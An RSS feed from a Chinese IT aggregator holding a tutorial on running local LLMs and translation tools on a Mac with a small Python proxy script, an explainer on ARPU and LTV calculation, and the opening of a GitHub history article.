<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="/rss.xsl" type="text/xsl"?>
<rss version="2.0">
  <channel>
    <title>IT瘾tech推荐</title>
    <link>https://itindex.net/tags/tech</link>
    <description>IT社区推荐资讯 - ITIndex.net</description>
    <language>zh</language>
    <copyright>https://itindex.net/</copyright>
    <generator>https://itindex.net/</generator>
    <docs>http://backend.userland.com/rss</docs>
    <image>
      <url>https://itindex.net/images/logo.gif</url>
      <title>IT社区推荐资讯 - ITIndex.net</title>
      <link>https://itindex.net/tags/tech</link>
    </image>
    <item>
      <title>在 Mac 用 LM studio 部署本地大模型（DeepSeek/Qwen） + 翻译</title>
      <link>https://itindex.net/detail/62973-mac-lm-studio</link>
      <description>&lt;p&gt;得益于 Mac 的 CPU 和 GPU 共享内存， 以及大的内存带宽， 使得使用 macBook 运行本地大模型成为可能，借着最近 DeepSeek 大火的东风，我也尝试在本地构建了一套 AI 翻译的系统。本文将会介绍如何在 Mac 电脑上正确的配置这套系统。设置完成后，你将可以&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;在 Mac 上免费使用大语言模型进行对话&lt;/li&gt;
  &lt;li&gt;无需等待服务器响应，提高效率&lt;/li&gt;
  &lt;li&gt;快速翻译任何文档，截图，网页等&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;本文以 macBook 为例， 理论上 windows 电脑也可以获得同样的效果，仅供参考&lt;/p&gt;
 &lt;p&gt;本文下载工具在中国大陆可能会遇到网络问题，请自行解决&lt;/p&gt;
 &lt;h2&gt;模型管理工具&lt;/h2&gt;
 &lt;p&gt;所谓模型管理工具，就是可以本地运行管理大模型的工具，并且可以提供服务器功能，这样可以省去一些没有必要的麻烦。此外， 模型管理工具还可以提供本地聊天的功能，这样在网络不畅的情况下，也可以使用到最近最火的 DeepSeek。&lt;/p&gt;
 &lt;p&gt;比较流行的模型管理工具有   &lt;a href="https://ollama.com/" rel="noopener noreferrer" target="_blank"&gt;Ollama&lt;/a&gt; 和   &lt;a href="https://lmstudio.ai/" rel="noopener noreferrer" target="_blank"&gt;LM Studio&lt;/a&gt;. 这两个工具比起来， LM Studio 有一个 GUI 页面，下载模型也更方便，对新手比较友好。 所以本文将使用 LM Studio。&lt;/p&gt;
 &lt;h3&gt;安装模型&lt;/h3&gt;
 &lt;p&gt;如何找到合适的模型是一切开始的关键，当下比较流行的开源大模型有 deepseek-r1， Qwen， LLama 等，根据需要选择你喜欢的。作者需要使用到中文 - 英文翻译，所以选择了中文更友好的 deepseek 和 Qwen（千问）。&lt;/p&gt;
 &lt;p&gt;然后是根据自己 Mac 的配置选择合适的模型大小。 LM Studio 会把当前配置无法下载的模型禁止掉， 当然即使可以使用， 这和使用的舒服也有一定的区别。&lt;/p&gt;
 &lt;p&gt;作者的配置是 MacBook Pro M3 Max 36G 内存， 测试过程中，32B 大小的 DeepSeek R1 是可以正常使用的，但是运行速度会比较慢，简单对话没有问题， 但是翻译场景，尤其是比较大型的 PDF 就很让人着急，再加上 DeepSeek R1 还有大量推理过程，32B 模型的速度就更慢了。当然如果拥有更好配置的机器，尤其是大内存，肯定是越大的模型效果越好，这一点丰俭由人。&lt;/p&gt;
 &lt;p&gt;关于 DeepSeek R1 还有一点要说，DeepSeek R1 会展示出一个长的思维链， 这一点固然很棒，但是在翻译的场景下，思维链其实并不是必须的，甚至是累赘，拖慢翻译速度， 相比而言 Qwen 模型在这个场景下就是更好的那个选择，后文会给出一个解决思维链的方案。&lt;/p&gt;
 &lt;p&gt;总结一下，模型很多，各有利弊。根据自己的需求，配置选择合适的模型即可。我使用了 qwen2.5-7b-instruct-1m 用来翻译（14B 应该也没什么问题）。&lt;/p&gt;
 &lt;p&gt;可以参考下图进行下载安装。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image" src="https://ipfs.crossbell.io/ipfs/QmcYJDMNYGCw646bEyXrv1GZeLuYhR1BqgUi95imKnhmMV"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;启动服务&lt;/h3&gt;
 &lt;p&gt;接下来就是加载模型，启动服务，按照下图即可。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image" src="https://ipfs.crossbell.io/ipfs/QmT89csnB5Dx2VgxSQyVrPW3nEyc9yzMEWDbme6UhdeVMX"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image" src="https://ipfs.crossbell.io/ipfs/QmdzFfPL5pNUc4LeGBwbeU5NeXvEBAiwWWvHpq154GsH96"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;一旦加载成功，就可以使用这个大模型了。左边栏最上方一个是对话功能，在这里可以和你加载的大模型对话。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image" src="https://ipfs.crossbell.io/ipfs/QmP45hmbfEcFZBc4mxfmb8y2TDZJmZsBAihJfbqUtAJnaN"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;同时还可以复制代码到命令行检查模型是否正常运行以及服务是否正常启动。到这里，大模型相关的配置就结束了，恭喜你，已经获得了一个可以运行在本地，不受服务器影响， 快速响应的，专属于你的大模型了。&lt;/p&gt;
 &lt;p&gt;如果你把这个服务开放在局域网上，乃至公网你，你就可以在其他设备上访问到你的大模型了，这就是另一个故事了。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image" src="https://ipfs.crossbell.io/ipfs/QmVHjauMqLW4jZM91hyuZDKvHP6k67EGJGhhvLCGnvK37L"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image" src="https://ipfs.crossbell.io/ipfs/QmTLfCpF11Q6Vjdy7g7vxfHKYRTLHJJ6Sm3VWfxgjZzpjj"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;翻译 - Easydict&lt;/h2&gt;
 &lt;p&gt;本文使用了一个开源的本地翻译工具   &lt;a href="https://github.com/tisfeng/Easydict" rel="noopener noreferrer" target="_blank"&gt;Easydict&lt;/a&gt; , 当然如果有你发现了其他工具也可以使用。本文仅以此为例。&lt;/p&gt;
 &lt;h3&gt;安装&lt;/h3&gt;
 &lt;p&gt;你可以使用下面两种方式之一安装。&lt;/p&gt;
 &lt;p&gt;Easydict 最新版本支持系统 macOS 13.0+，如果系统版本为 macOS 11.0+，请使用   &lt;a href="https://github.com/tisfeng/Easydict/releases/tag/2.7.2" rel="noopener noreferrer" target="_blank"&gt;2.7.2&lt;/a&gt;。&lt;/p&gt;
 &lt;h3&gt;1. 手动下载安装&lt;/h3&gt;
 &lt;p&gt;  &lt;a href="https://github.com/tisfeng/Easydict/releases" rel="noopener noreferrer" target="_blank"&gt;下载&lt;/a&gt; 最新版本的 Easydict。&lt;/p&gt;
 &lt;h3&gt;2. Homebrew 安装&lt;/h3&gt;
 &lt;div&gt;Copy  &lt;pre&gt;   &lt;code&gt;brew install --cask easydict
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
 &lt;h3&gt;配置&lt;/h3&gt;
 &lt;p&gt;安装成功后，点击按钮，选择配置， 进入配置页面。  &lt;br /&gt;
然后点击服务，配置我们自己的服务器地址， 这里其实选择 ollama 翻译 和 自定义 OpenAI 翻译理论上都可以。&lt;/p&gt;
 &lt;p&gt;输入自己的 服务器地址端口和模型名称即可，这些在 LM Studio 页面都能找到。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image" src="https://ipfs.crossbell.io/ipfs/QmeRwegm1jrV4a8jZWC9yqs1nbvKG9pkXnUWzUT2xRyMuU"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image" src="https://ipfs.crossbell.io/ipfs/QmVZkJqe8yTHjY1Mz14b5tEtWtqubTEemAaAMhH39ud9CD"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;使用&lt;/h3&gt;
 &lt;p&gt;配置会之后，就可以正常使用了。关于 Easydict 的具体使用方法，请参考对应的  &lt;a href="https://github.com/tisfeng/Easydict/tree/main" rel="noopener noreferrer" target="_blank"&gt;官方文档&lt;/a&gt; .&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image" src="https://ipfs.crossbell.io/ipfs/QmUHAcpF78XFz7ScQGRt4bsqxzyjzhfzKMMJ1h7B7rTsX9"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;另外要说明的是， EasyDict 也支持其他形式的 API ，也内置了翻译，不需要前面本地大模型那一套， 本身也是一个很好用的应用。&lt;/p&gt;
 &lt;h2&gt;翻译 - 沉浸式翻译&lt;/h2&gt;
 &lt;p&gt;沉浸式翻译几乎是 OpenAI 横空出世之后最火的一个浏览器翻译插件了。它也支持使用自定义 API 接口来进行翻译，且同时支持网页翻译和 PDF 翻译， 且翻译的展示效果非常优秀。&lt;/p&gt;
 &lt;p&gt;可以支持一个 pro 会员，这样就无需折腾，开箱即用。如果愿意继续折腾本地大模型，就往后看吧。&lt;/p&gt;
 &lt;p&gt;这是  &lt;a href="https://immersivetranslate.com/zh-Hans/" rel="noopener noreferrer" target="_blank"&gt;官网链接&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image" src="https://ipfs.crossbell.io/ipfs/QmP73FB2JzeU7JUtKpvS6og8MLvYpzEfqi2BMb7RiZ1Rdj"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;下载完插件之后，进入配置页面， 还是一样输入 API 地址和模型名称，就可以使用本地大模型进行沉浸式翻译了。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image" src="https://ipfs.crossbell.io/ipfs/QmP73FB2JzeU7JUtKpvS6og8MLvYpzEfqi2BMb7RiZ1Rdj"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="image" src="https://ipfs.crossbell.io/ipfs/QmbMRCm35ywTPiZpCW6hoSPLLHPgAdLfr4AFndwFbdrQdz"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;服务器转发&lt;/h2&gt;
 &lt;p&gt;走到这一步，几乎可是使用了，但是你会遇到一下问题&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;deepseek R1 的翻译结果会带上思维链，影响翻译体验&lt;/li&gt;
  &lt;li&gt;沉浸式翻译的 API 格式和 LM Studio 的 API 格式不能无缝对接，所以即使 API 通了，沉浸式翻译也无法显示翻译结果&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;所以，不得已，我用 Python web.py 写了一个最简单的本地服务器，用来转发请求，并在中间做一些微小的工作，解决上述两个小问题，使得翻译体验更好。这里附上代码，仅供参考。web.py 的默认端口是 8080， 也可以按需修改成你需要的&lt;/p&gt;
 &lt;p&gt;记得要安装 Python 并使用    &lt;code&gt;pip install webpy&lt;/code&gt;  &lt;br /&gt;
这里不再赘述&lt;/p&gt;
 &lt;div&gt;Copy  &lt;pre&gt;   &lt;code&gt;import web
import json
import requests
import re
import time

# 配置URLs路由
urls = (
    &amp;apos;/v1/chat/completions&amp;apos;, &amp;apos;ChatCompletions&amp;apos;,
    &amp;apos;/v1/models&amp;apos;, &amp;apos;Models&amp;apos;
)

def add_cors_headers():
    # 添加CORS相关的响应头
    web.header(&amp;apos;Access-Control-Allow-Origin&amp;apos;, &amp;apos;*&amp;apos;)
    web.header(&amp;apos;Access-Control-Allow-Credentials&amp;apos;, &amp;apos;true&amp;apos;)
    web.header(&amp;apos;Access-Control-Allow-Methods&amp;apos;, &amp;apos;GET, POST, OPTIONS&amp;apos;)
    web.header(&amp;apos;Access-Control-Allow-Headers&amp;apos;, &amp;apos;Content-Type, Authorization&amp;apos;)

def remove_think_tags(text):
    # 移除&amp;lt;think&amp;gt;标签及其内容
    return re.sub(r&amp;apos;&amp;lt;think&amp;gt;.*?&amp;lt;/think&amp;gt;&amp;apos;, &amp;apos;&amp;apos;, text, flags=re.DOTALL)

class ChatCompletions:
    def OPTIONS(self):
        # 处理预检请求
        add_cors_headers()
        return &amp;apos;&amp;apos;
        
    def POST(self):
        web.header(&amp;apos;Content-Type&amp;apos;, &amp;apos;application/json&amp;apos;)
        add_cors_headers()
        
        try:
            data = json.loads(web.data())
            lm_studio_url = &amp;quot;http://localhost:1234/v1/chat/completions&amp;quot;
            
            # 检查是否为流式请求
            is_stream = data.get(&amp;apos;stream&amp;apos;, False)
            
            # 转发请求到LM Studio
            response = requests.post(
                lm_studio_url,
                json=data,
                headers={&amp;apos;Content-Type&amp;apos;: &amp;apos;application/json&amp;apos;},
                stream=is_stream  # 设置stream参数
            )
            
            if is_stream:
                # 对于流式请求，先收集完整内容
                full_content = &amp;quot;&amp;quot;
                current_id = None
                
                def generate_stream():
                    nonlocal full_content, current_id
                    
                    for line in response.iter_lines():
                        if line:
                            line = line.decode(&amp;apos;utf-8&amp;apos;)
                            if line.startswith(&amp;apos;data: &amp;apos;):
                                line = line[6:]
                            if line == &amp;apos;[DONE]&amp;apos;:
                                # 处理完整内容并发送最后一个块
                                cleaned_content = remove_think_tags(full_content)
                                # 发送清理后的完整内容
                                final_chunk = {
                                    &amp;quot;id&amp;quot;: current_id,
                                    &amp;quot;object&amp;quot;: &amp;quot;chat.completion.chunk&amp;quot;,
                                    &amp;quot;created&amp;quot;: int(time.time()),
                                    &amp;quot;model&amp;quot;: &amp;quot;local-model&amp;quot;,
                                    &amp;quot;choices&amp;quot;: [{
                                        &amp;quot;index&amp;quot;: 0,
                                        &amp;quot;delta&amp;quot;: {
                                            &amp;quot;content&amp;quot;: cleaned_content
                                        },
                                        &amp;quot;finish_reason&amp;quot;: &amp;quot;stop&amp;quot;
                                    }]
                                }
                                yield f&amp;apos;data: {json.dumps(final_chunk)}\n\n&amp;apos;
                                yield &amp;apos;data: [DONE]\n\n&amp;apos;
                                continue
                                
                            try:
                                chunk_data = json.loads(line)
                                current_id = chunk_data.get(&amp;apos;id&amp;apos;, current_id)
                                
                                if &amp;apos;choices&amp;apos; in chunk_data:
                                    for choice in chunk_data[&amp;apos;choices&amp;apos;]:
                                        if &amp;apos;delta&amp;apos; in choice:
                                            if &amp;apos;content&amp;apos; in choice[&amp;apos;delta&amp;apos;]:
                                                # 累积内容而不是直接发送
                                                full_content += choice[&amp;apos;delta&amp;apos;][&amp;apos;content&amp;apos;]
                                
                                # 发送空的进度更新
                                progress_chunk = {
                                    &amp;quot;id&amp;quot;: current_id,
                                    &amp;quot;object&amp;quot;: &amp;quot;chat.completion.chunk&amp;quot;,
                                    &amp;quot;created&amp;quot;: int(time.time()),
                                    &amp;quot;model&amp;quot;: &amp;quot;local-model&amp;quot;,
                                    &amp;quot;choices&amp;quot;: [{
                                        &amp;quot;index&amp;quot;: 0,
                                        &amp;quot;delta&amp;quot;: {},
                                        &amp;quot;finish_reason&amp;quot;: None
                                    }]
                                }
                                yield f&amp;apos;data: {json.dumps(progress_chunk)}\n\n&amp;apos;
                                
                            except json.JSONDecodeError:
                                continue
                
                web.header(&amp;apos;Content-Type&amp;apos;, &amp;apos;text/event-stream&amp;apos;)
                web.header(&amp;apos;Cache-Control&amp;apos;, &amp;apos;no-cache&amp;apos;)
                web.header(&amp;apos;Connection&amp;apos;, &amp;apos;keep-alive&amp;apos;)
                return generate_stream()

            else:
                # 非流式请求的处理
                response_data = json.loads(response.text)
            
                if &amp;apos;choices&amp;apos; in response_data:
                    for choice in response_data[&amp;apos;choices&amp;apos;]:
                        if &amp;apos;message&amp;apos; in choice and &amp;apos;content&amp;apos; in choice[&amp;apos;message&amp;apos;]:
                            choice[&amp;apos;message&amp;apos;][&amp;apos;content&amp;apos;] = remove_think_tags(
                                choice[&amp;apos;message&amp;apos;][&amp;apos;content&amp;apos;]
                            )
                return json.dumps(response_data)
            
        except Exception as e:
            print(e)
            return json.dumps({
                &amp;quot;error&amp;quot;: {
                    &amp;quot;message&amp;quot;: str(e),
                    &amp;quot;type&amp;quot;: &amp;quot;proxy_error&amp;quot;
                }
            })

class Models:
    def OPTIONS(self):
        # 处理预检请求
        add_cors_headers()
        return &amp;apos;&amp;apos;
        
    def GET(self):
        web.header(&amp;apos;Content-Type&amp;apos;, &amp;apos;application/json&amp;apos;)
        add_cors_headers()
        # 返回一个模拟的模型列表
        return json.dumps({
            &amp;quot;data&amp;quot;: [
                {
                    &amp;quot;id&amp;quot;: &amp;quot;local-model&amp;quot;,
                    &amp;quot;object&amp;quot;: &amp;quot;model&amp;quot;,
                    &amp;quot;owned_by&amp;quot;: &amp;quot;local&amp;quot;
                }
            ]
        })

if __name__ == &amp;quot;__main__&amp;quot;:
    app = web.application(urls, globals())
    app.run() 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
 &lt;p&gt;到这里，一个在 Mac 上运行本地部署的大模型，再加上网页、PDF 文档、文字翻译的工具链就完成了。这其中可以替代的选项还有很多。  &lt;br /&gt;
模型部署还有 ollama 等，大模型还可以用 Phi、llama 等， 转发服务器也可以用其他方案，或者可能还有不用转发的选项可以研究，翻译工具也可以用 Bob 来代替。总而言之，技术选择有很多，本文只是提供一个参考。时间还是要花在更重要的事上， 已经有了利器，赶快去善其事吧。&lt;/p&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>post 工具 AI Tech</category>
      <guid isPermaLink="true">https://itindex.net/detail/62973-mac-lm-studio</guid>
      <pubDate>Tue, 11 Feb 2025 23:18:29 CST</pubDate>
    </item>
    <item>
      <title>ARPU和LTV的计算方式</title>
      <link>https://itindex.net/detail/62132-arpu-ltv-%E8%AE%A1%E7%AE%97</link>
      <description>&lt;p&gt;  &lt;a href="https://deeplearn-1251474370.cos.ap-guangzhou.myqcloud.com/2022/02/Pasted-1.png" rel="nofollow" target="_blank"&gt;   &lt;img alt="" src="https://www.deeplearn.me/wp-content/themes/wordpress-theme-puock-2.0/assets/img/z/load-tip.png" title="ARPU&amp;#21644;LTV&amp;#30340;&amp;#35745;&amp;#31639;&amp;#26041;&amp;#24335;"&gt;&lt;/img&gt;&lt;/a&gt;
  &lt;strong&gt;一：ARPU(&lt;/strong&gt;Average Revenue Per User)：平均每用户收入&lt;/p&gt;
 &lt;p&gt;计算公式为：ARPU 值=总收入 / 用户数&lt;/p&gt;
 &lt;p&gt;注意：ARPU值是有时间属性的，你可以讲7日ARPU值、10日ARPU值、月ARPU等，不指明时间周期的话，那默认就是月ARPU值。计算的时候就是对应周期内的总收入 / 用户数 。&lt;/p&gt;
 &lt;p&gt;具体计算的时候，又会出现各种变种，主要是在分母“用户数”上做文章。下面以月ARPU值举例：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;月总收入 / 月活跃用户数&lt;/li&gt;
  &lt;li&gt;月总收入 / 月付费用户数&lt;/li&gt;
  &lt;li&gt;月总收入 / 累积用户总数&lt;/li&gt;
  &lt;li&gt;月总收入 / 用户分层总数&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;对应计算方法解读：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;最传统的定义方法&lt;/li&gt;
  &lt;li&gt;实际上就是   &lt;strong&gt;ARPPU&lt;/strong&gt;（Average Revenue Per Paying User)：平均每付费用户收入——这样计算会让ARPU值看起来很高，报表很好看。&lt;/li&gt;
  &lt;li&gt;一般不会这么计算，因为存在大量已流失用户和沉默用户，将这部分用户纳入统计是没有意义的。但有时候怕ARPU值太高会有舆论或监管压力，会采用这种计算方法来混淆视听。&lt;/li&gt;
  &lt;li&gt;做数据分析时使用，就是将用户分为不同的类型，总收入也是对应分层用户的总收入。例如可以将用户分为不同渠道来源、是否会员用户、通过使用频次划分等等。可以查看不同渠道来源的用户质量。&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;不同的定义方法，计算出来的ARPU值差异是很大的。所以给出ARPU值的时候，不给具体计算方法都是耍流氓。&lt;/p&gt;
 &lt;p&gt;当然，也有人在分子“总收入”上做文章。&lt;/p&gt;
 &lt;p&gt;理论上这里的总收入应该计算的是毛利，即商业企业商品销售收入(售价)减去商品原进价后的余额。如果有需要跟第三方分成的话，最好将分成也扣除掉。&lt;/p&gt;
 &lt;p&gt;有人就故意不这么计算，而计算的是营业收入。比如是汽车销售平台，平均一台车单价20万，那计算出来的ARPU值将高得吓死人。&lt;/p&gt;
 &lt;p&gt;还有人将充值也纳入收入，众所周知用户充值但并未消费，这钱是不能算是你的。除非想着卷款跑路那没话说。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;二：LTV&lt;/strong&gt;（Life Time Value）：用户的终身价值或用户生命周期价值（这两种表述都可以）&lt;/p&gt;
 &lt;p&gt;含义上很好理解，就是平均每个用户可以带来多少价值。可以用来决策可以为每个用户付出多少获取成本。也可以用来计算ROI。&lt;/p&gt;
 &lt;p&gt;LTV经常会和  &lt;strong&gt;CAC&lt;/strong&gt;（Customer Acquisition Cost）“用户获取成本”、  &lt;strong&gt;PBP&lt;/strong&gt;（Payback Period）“回收期”一起来讲。&lt;/p&gt;
 &lt;p&gt;市场普遍认为 LTV&amp;gt;CAC的时候公司是有可能性的，LTV&amp;lt;CAC的时候模式是无意义的，而LTV/CAC=3的时候是公司最能健康发展的（小于3说明转化效率低，大于3说明在市场拓展上还太保守）。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;PBP&lt;/strong&gt;的意思是花出去的用户获取成本可以在多长时间内回本。PBP越短越好，说明资金周转快，企业能更快增长。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;如何计算LTV？&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;游戏行业经常会遇见这个问题，游戏内测了一个月，老板就要预估LTV是多少，而现在根本就不知道用户生命周期是多长。那该怎么办呢？&lt;/p&gt;
 &lt;p&gt;LTV短期内只能预估，无法精确计算。但还是有办法的。&lt;/p&gt;
 &lt;p&gt;实际上LTV是以用户生命周期为单位的ARPU值。LTV=（Life Time）ARPU。我们只需要计算用户的平均生命周期，再计算这个周期内的ARPU值，就能得出平均每个用户可以带来多少价值。&lt;/p&gt;
 &lt;p&gt;怎么计算LT呢？&lt;/p&gt;
 &lt;p&gt;假设现在已经知道了一个月的留存情况：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="5Zgruf" src="https://www.deeplearn.me/wp-content/themes/wordpress-theme-puock-2.0/assets/img/z/load-tip.png" title="ARPU&amp;#21644;LTV&amp;#30340;&amp;#35745;&amp;#31639;&amp;#26041;&amp;#24335;"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;$平均用户生命周期=\frac{用户总留存时间}{用户的总数}=\frac{第一天留存用户数  &lt;em&gt;1+第二天用户留存书&lt;/em&gt;1+。。。}{总的用户数}=第一天的留存率+第二天留存率+。。。$&lt;/p&gt;
 &lt;p&gt;**近似等于留存曲线下方扫过的面积。——这个结论很重要 **&lt;/p&gt;
 &lt;p&gt;至于计算面积，参考了积分的定义，如果做推荐的同学看到这会不会想到AUC的计算？&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="r8uWpT" src="https://www.deeplearn.me/wp-content/themes/wordpress-theme-puock-2.0/assets/img/z/load-tip.png" title="ARPU&amp;#21644;LTV&amp;#30340;&amp;#35745;&amp;#31639;&amp;#26041;&amp;#24335;"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;将留存数据导入到Excel表格中（这里又要进一步带大家领略Excel的魅力了）&lt;/p&gt;
 &lt;p&gt;1、用Excel画出留存曲线图&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="NU3VJu" src="https://www.deeplearn.me/wp-content/themes/wordpress-theme-puock-2.0/assets/img/z/load-tip.png" title="ARPU&amp;#21644;LTV&amp;#30340;&amp;#35745;&amp;#31639;&amp;#26041;&amp;#24335;"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;2、鼠标右击曲线，出现弹窗，选择“添加趋势线”&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="8AONlM" src="https://www.deeplearn.me/wp-content/themes/wordpress-theme-puock-2.0/assets/img/z/load-tip.png" title="ARPU&amp;#21644;LTV&amp;#30340;&amp;#35745;&amp;#31639;&amp;#26041;&amp;#24335;"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;3、在指数、线性、对数、多项式、幂、移动平均中选择一条跟留存曲线拟合最好的曲线（实际上是机器代替人进行了数学建模，机器会自动找出拟合最好函数）。这一步是为了对留存率做预测。&lt;/p&gt;
 &lt;p&gt;注意：这里要勾选上“显示公式”和“显示R平方值”，R² 代表拟合度，R² 越接近1说明拟合度越高。“前推周期”自己根据曲线走势填入一个数字，这里要多尝试几个，目的是让曲线趋近于0，这样计算出来的面积才准确。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="3pNg04" src="https://www.deeplearn.me/wp-content/themes/wordpress-theme-puock-2.0/assets/img/z/load-tip.png" title="ARPU&amp;#21644;LTV&amp;#30340;&amp;#35745;&amp;#31639;&amp;#26041;&amp;#24335;"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;4、得出完整留存曲线走势图，我这里机器计算出来的函数是y = 0.5796e^-0.054x
R² = 0.9953&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="rN8FLS" src="https://www.deeplearn.me/wp-content/themes/wordpress-theme-puock-2.0/assets/img/z/load-tip.png" title="ARPU&amp;#21644;LTV&amp;#30340;&amp;#35745;&amp;#31639;&amp;#26041;&amp;#24335;"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;5、到这一步就八仙过海各显神通了，数学好的可以根据高数学的定积分计算函数的面积。还有就是根据函数，将函数写入到Excel表格中，拉一下，得出后续的留存率。注意：这里 x 代表的是第几天。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="kkpqBn" src="https://www.deeplearn.me/wp-content/themes/wordpress-theme-puock-2.0/assets/img/z/load-tip.png" title="ARPU&amp;#21644;LTV&amp;#30340;&amp;#35745;&amp;#31639;&amp;#26041;&amp;#24335;"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;e=2.718281828459&lt;/p&gt;
 &lt;p&gt;6、最后根据sum函数得出累积留存率，我这里得出的是1054%。&lt;/p&gt;
 &lt;p&gt;也就是说平均用户生命周期是10.54天，按10天计算的话，就去计算10天ARPU值，就是LTV了。&lt;/p&gt;
 &lt;p&gt;以上。&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>tech</category>
      <guid isPermaLink="true">https://itindex.net/detail/62132-arpu-ltv-%E8%AE%A1%E7%AE%97</guid>
      <pubDate>Sun, 27 Feb 2022 12:35:59 CST</pubDate>
    </item>
    <item>
      <title>GitHub 和 GitLab 的故事</title>
      <link>https://itindex.net/detail/62014-github-gitlab-%E6%95%85%E4%BA%8B</link>
      <description>&lt;h3&gt;引子&lt;/h3&gt;

 &lt;p&gt;2005年，因为 Linux 社区被商业公司撤回了免费试用源码配置管理工具的权利，Linus Torvalds 一怒之下自己花了十天时间开发并发布了分布式源码配置管理工具Git, 虽然当时 Linus 只是想着给 Linux 社区小伙伴们开发个顺手的协作工具，但没想到这款工具将席卷全球，并改变了软件世界。关于 Git 的诞生和源码分析参见拙作  &lt;a href="https://hutusi.com/articles/the-greatest-git-commit"&gt;《改变世界的一次代码提交》&lt;/a&gt;。我在该文的最后写道：&lt;/p&gt;

 &lt;blockquote&gt;
    &lt;p&gt;在 Git 诞生后两年，旧金山的一个小酒馆里坐着三位年轻的程序员，决定要用 Git 做点什么，几个月后，GitHub 上线。&lt;/p&gt;

&lt;/blockquote&gt;

 &lt;p&gt;原本是打算紧接着写一写 GitHub 的历史的，但拖延症犯了，一拖就是一年多。等到 GitLab 上市了，才想起来应该写点东西了。周末回顾了下 GitHub 和 GitLab 的历史，来聊一聊这两个产品的故事。&lt;/p&gt;

 &lt;h3&gt;GitHub 的故事&lt;/h3&gt;

 &lt;p&gt;2007年，Tom Preston-Werner 刚刚卖掉上一个创业项目 Gravatar, 开始构建新的想法。他的新项目叫 Grit，这是一个使用 Ruby 语言开发的 Git 组件库，通过 Ruby 封装操作 Git 仓库的接口。那个时候 Ruby 以及 Ruby on Rails 在硅谷很流行，很多前卫的创业公司都会选择 Ruby。Tom 在酒吧里碰到了 Chris Wanstrath 和 PJ Hyett，向他们推销自己的想法并拉他们一起入伙。这便是 GitHub 的开始，而 Tom Preston-Werner, Chris Wanstrath 和 PJ Hyett 也成了 GitHub 的三位创始人。后来他们又找了一名程序员，名叫 Scott Chacon, 负责 Git 接口开发。这哥们很长一段时间一直在简介中写着：第一位 GitHub 员工。是的，GitHub 的初始创业团队里，就是三个老板和一个员工。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="GitHub founders and first employee" src="https://rmt.dogedoge.com/fetch/hutusi/storage/blog/github-founders-and-first-employee.jpeg?w=600"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;blockquote&gt;
    &lt;p&gt;GitHub三位创始人(左一: Chris Wanstrath; 左二: Tom Preston-Werner; 右一: PJ Hyett)和第一个员工(右二: Scott Chacon)&lt;/p&gt;
&lt;/blockquote&gt;

